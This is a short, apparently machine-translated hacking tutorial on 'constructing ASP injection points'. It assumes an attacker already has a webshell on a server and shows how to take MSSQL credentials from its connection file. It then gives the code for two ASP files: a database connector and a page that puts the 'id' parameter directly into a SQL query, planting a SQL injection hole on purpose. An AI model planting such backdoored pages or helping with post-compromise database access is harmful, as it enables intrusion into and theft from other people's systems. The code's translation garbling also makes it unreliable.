Construct ASP injection points

First, you need to get a webshell. In this way, most of the files that connect to the database are conn. the asp file contains the mssql user and password. You need to find the user name, password, and IP address of the database, and then connect to it.
<! -- # Include file = "xx. asp" -->
<%
Set rs = server. createobject ("ADODB. recordset ")
Id = request ("id ")
StrSQL = "select * from admin where id =" & id
Rs. open strSQL, conn, 1, 3
Rs. close
%>
 
Replace the admin in strSQL = "select * from admin where id =" & id with the table name to be forged. Note that the table name must exist! Here we assume that admin is the table name! Save the file name as needed!

Then we need to construct a file to connect to the database. The Code is as follows:

<%
StrSQLServerName = "000.000.000.000" server name or address
StrSQLDBUserName = "sqlname" database account
StrSQLDBPassword = "sqlpass" Database Password
StrSQLDBName = "sqldataname" Database Name
Set conn = Server. CreateObject ("ADODB. Connection ")
StrCon = "Provider = SQLOLEDB.1; Persist Security Info = False; Server =" & strSQLServerName & "; User ID =" & strSQLDBUserName & "; Password =" & strSQLDBPassword &"; database = "& strSQLDBName &";"
Conn. open strCon
%>
This should all be done here; but note that the saved file name should be the same as the name called by include. Under normal circumstances, it will be OK. Forgery is successful ......